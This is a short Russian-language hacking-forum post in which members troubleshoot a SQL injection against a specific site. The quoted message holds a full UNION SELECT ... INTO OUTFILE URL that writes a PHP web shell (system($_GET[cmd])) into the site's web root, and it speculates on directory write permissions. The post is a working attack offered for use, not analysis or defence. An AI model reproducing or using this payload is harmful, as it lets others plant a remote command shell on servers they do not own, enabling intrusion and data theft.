
01.12.2009, 16:26
|
|
Познающий
Регистрация: 22.08.2009
Сообщений: 98
Провел на форуме: 224604
Репутация:
19
|
|
Сообщение от 547
root@localhost
file_priv Y
into outfile & load_file рабаотает...
но когда даю такой запрос пишет:
Ошибка в параметрах запроса
http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*
но какая тут ошибка? путь найшол вроде все правильно в tmp записывалось нормально....
может отсутствуют права на запись в директорию сайта?
http:// site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/ kvartira.ru/shell.php'/*
уматно сайт спрятал =))
|
|
|